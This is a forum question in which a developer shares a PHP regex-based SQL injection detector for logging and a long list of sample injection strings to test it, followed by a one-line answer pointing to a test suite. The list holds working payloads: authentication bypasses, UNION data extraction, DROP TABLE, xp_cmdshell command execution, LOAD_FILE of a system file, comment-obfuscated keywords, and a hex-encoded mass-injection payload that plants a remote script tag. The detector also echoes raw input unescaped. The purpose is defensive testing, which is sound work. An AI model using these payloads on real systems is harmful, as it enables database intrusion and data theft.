SQL Injection Detection - Have compiled regexes... looking for test injections

Question

Over the weekend I've compiled a list of regexs to check for sql injections in GET, POST and COOKIE super globals. They are by all accounts very effective in detecting if a sql injection is found. I've run lots of injection attacks that I've seen on various sql injection documents but I'm looking for more complex ones that might not be accounted for.

I'm well aware the best method of defense it validation/cleaning of input and parameterized queries, however this script is not designed to protect, rather just log potential attacks. I'm also aware that this will create false positives in various circumstances, but as it is just used for logging this isn't so much of a problem.

The detection script is below.

<?php

    testArray($_GET);
    testArray($_POST);
    testArray($_COOKIE);

    function testArray($array)
    {
        foreach ($array as $name => $value)
        {
            if(is_array($value) === true)
            {
                testArray($value);
            }
            else
            {
                testHelper($value);
            }
        }
    }

    function testHelper($varvalue)
    {
        $total = test($varvalue);
        echo '<h3 style="'.($total > 0 ? 'color:red;' : 'color:green;').'">'.nl2br($varvalue).'</h3>';
        echo '<span style="'.($total > 0 ? 'color:red;' : 'color:green;').'">';
        echo 'total = '.$total.'
';
        echo '</span><br />';
    }

    function test($varvalue, $_comment_loop=false)
    {
        $total = 0;
        $varvalue_orig = $varvalue;
        $quote_pattern = '\%27|\'|\%22|\"|\%60|`';
//      detect base64 encoding
        if(preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $varvalue) > 0 && base64_decode($varvalue) !== false)
        {
            $varvalue = base64_decode($varvalue);
        }

//      detect and remove comments
        if(preg_match('!/\*.*?\*/!s', $varvalue) > 0)
        {
            if($_comment_loop === false)
            { 
                $total += test($varvalue_orig, true);
                $varvalue = preg_replace('!/\*.*?\*/!s', '', $varvalue);
            }
            else
            {
                $varvalue = preg_replace('!/\*.*?\*/!s', ' ', $varvalue);
            }
            $varvalue = preg_replace('/\n\s*\n/', "\n", $varvalue);
        }
        $varvalue = preg_replace('/((\-\-|\#)([^\\n]*))\\n/si', ' ', $varvalue);

//      detect and replace hex encoding
//      detect and replace decimal encodings
        if(preg_match_all('/&#x([0-9]{2});/', $varvalue, $matches) > 0 || preg_match_all('/&#([0-9]{2})/', $varvalue, $matches) > 0)
        {
//          replace numeric entities
            $varvalue = preg_replace('/&#x([0-9a-f]{2});?/ei', 'chr(hexdec("\\1"))', $varvalue);
            $varvalue = preg_replace('/&#([0-9]{2});?/e', 'chr("\\1")', $varvalue);
//          replace literal entities
            $trans_tbl = get_html_translation_table(HTML_ENTITIES);
            $trans_tbl = array_flip($trans_tbl);
            $varvalue = strtr($varvalue, $trans_tbl);
        }

        $and_pattern = '(\%41|a|\%61)(\%4e|n|%6e)(\%44|d|\%64)';
        $or_pattern = '(\%6F|o|\%4F)(\%72|r|\%52)';
        $equal_pattern = '(\%3D|=)';
        $regexes = array(
                '/(\-\-|\#|\/\*)\s*$/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*\\4\s*/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')(\d+)\\4\s*'.$equal_pattern.'\s*\\5\s*/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')\\4\\6?/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')?(\d+)\\4?/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]*)\\4\\5\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
                '/((('.$quote_pattern.')\s*)|\s+)'.$or_pattern.'\s+([a-z_]+)/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*(d+)/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*([a-z_]+)/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
                '/('.$quote_pattern.')?\s*\)\s*'.$or_pattern.'\s*\(\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
                '/('.$quote_pattern.'|\d)?(;|%20|\s)*(union|select|insert|update|delete|drop|alter|create|show|truncate|load_file|exec|concat|benchmark)((\s+)|\s*\()/ix',
                '/from(\s*)information_schema.tables/ix',
            );

        foreach ($regexes as $regex)
        {
            $total += preg_match($regex, $varvalue);
        }
        return $total;
    }

And for the lazy... here are some sample attacks.

testArray(array(
    "' or 1=1--", 
    "' or 1-- ", 
    "' or 1-- adasd ", 
    "' or 1", 
    "\" or '1'", 
    "' or 1=1--", 
    "or 1=1--", 
    "' OR ''='", 
    "' or 'a'='a", 
    '" or "a"="a', 
    "') or ('a'='a",
    "'; exec master..xp_cmdshell 'ping 10.10.1.2'--",
    "'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
    "10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--",
    "10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--",
    "' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='",
    "' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''='",
    "'OR''='",
    "' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='",
    "' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='",
    "' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='",
    "' OR (SELECT COUNT(*) FROM users)>10 AND ''='",
    "' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='",
    "' OR EXISTS(SELECT * FROM users WHERE name!='jake' AND name LIKE '%a%') AND ''='",
    "' or '1'='1' -- '",
    "' or '1'='1' ({ '",
    "' or '1'='1' /* '",
    "1;DROP TABLE `users`",
    "10;DROP members --",
    "x' AND email IS NULL; --",
    "x' AND 1=(SELECT COUNT(*) FROM tabname); --",
    "x' AND members.email IS NULL; --",
    "x';
        INSERT INTO members ('email','passwd','login_id','full_name') 
        VALUES ('[email protected]','hello','steve','Steve Friedl');--",
    "x';
      UPDATE members
      SET email = '[email protected]'
      WHERE email = '[email protected]",
    "23 OR 1=1",
    "23' OR 1=1",
    "\''; DROP TABLE users; --",

    "Bill O''Reilly",
    "the new album'\"s and totally shit....get back to glasgow and write some good tunes.",
    "the new album's and totally shit....get back to glasgow and write some good tune's.",
    "the new album's and totally shit.....",
    "lee crossan",
    "\"123\"",
    "111 /*This is my comment...*/UN/*Can You*/IO/*Find It*/N/**/ S/**/E/*    
*/LE/*Another comment to*/CT/*Find. Can you dig*//*it*/*",
    "1 UNION SELECT ALL FROM WHERE",
    "&#49&#32&#85&#78&#73&#79&#78&#32&#83&#69&#76&#69&#67&#84&#32&#65&#76&#76&#32&#70&#82&#79&#77&#32&#87&#72&#69&#82&#69",
    "71985' OR 1 = 1",
    "71985 OR 1 = 1",
    "71985 OR 1 =1",
    "71985 OR 1=1",
    "71985 OR 1= 1",
    "71985' OR '1'= 1",
    "71985 OR '1'= 1",
    "71985 OR 1= '1'",
    "71985 OR '5555",
    "71985 OR '' = '",
    "71985 OR '' = \"",
    "71985 OR ' ' = \" ",
    "71985 OR '_' = \"_",
    "71985 OR user_id",
    "71985 OR user_id=123",
    "71985 OR user_id =123",
    "71985 OR user_id ='asd",
    "71985 OR 'asd' = user_id",
    "71985 OR user_id = user_id",
    "71985 OR 'a' = 'a",
    "71985 OR 'a' = '",
    "71985 OR 'a' = 'a';--",
    "71985 OR 'a' = 'a';",
    "preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', \$varvalue) > 0 && base64_decode(\$varvalue) !== false)",
    '1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- ',
    'ar/news/global/2008/12/16/radio_1_christmas_show',
    '202534599.1295899315.1.1.utmcsr=xxx.xxx.de|utmccn=(referral)|utmcmd=referral|utmcct=/xxx/xxx/blog/dc11656b/',
    'Aptly describes how a close-minded society can make a person feel. To think that this same society would target young adolescents is unconscionable. Thanks for the song.',
    '; SELECT(xxxx) ',
    'Aptly describes how a close-minded society can make a person feel. Thanks for the song.',
    "';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);",
    '; SELECT LOAD_FILE(0x633A5C626F6F742E696E69)',
    'SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))',
    'SELECT CHAR(75)+CHAR(76)+CHAR(77)',
    'SELECT login || \'-\' || password FROM members',
    'DROP/*comment*/sampletable',
    ';DR/**/OP/*bypass blacklisting*/sampletable',
    ';DR/**/OP/*bypass blacklisting*/ sampletable',
    ';DR/*
*/OP/*bypass blacklisting*/ sampletable',
    ';DR--
OP--
sampletable',
    ';DROP-- eranious data
TABLE --
sampletable',
    '1;SELECT/*avoid-spaces*/password/**/FROM/**/Members ',
    'SELECT /*!32302 1/0, */ 1 FROM tablename',
    "' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--",
    "1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
    "-1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL-- ",
    "11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- ",
    "11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- ",
    ",0 UNION ALL SELECT 1,'x'/*,10 ;",
    "';shutdown --",
    "(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')",
    "BENCHMARK(howmanytimes, do this)",
    "BENCHMARK (howmanytimes, do this)",
    "1 union select benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1",
    "this is not a attack but -- 
plain text comment that someone could write.
",
    "what about this; or that or them!",
));

So the main question is- can you possibly get a sql injection past this test function - and if so - what is it?

Answer 1

You might want to check out the PHPIDS test suite, for example this one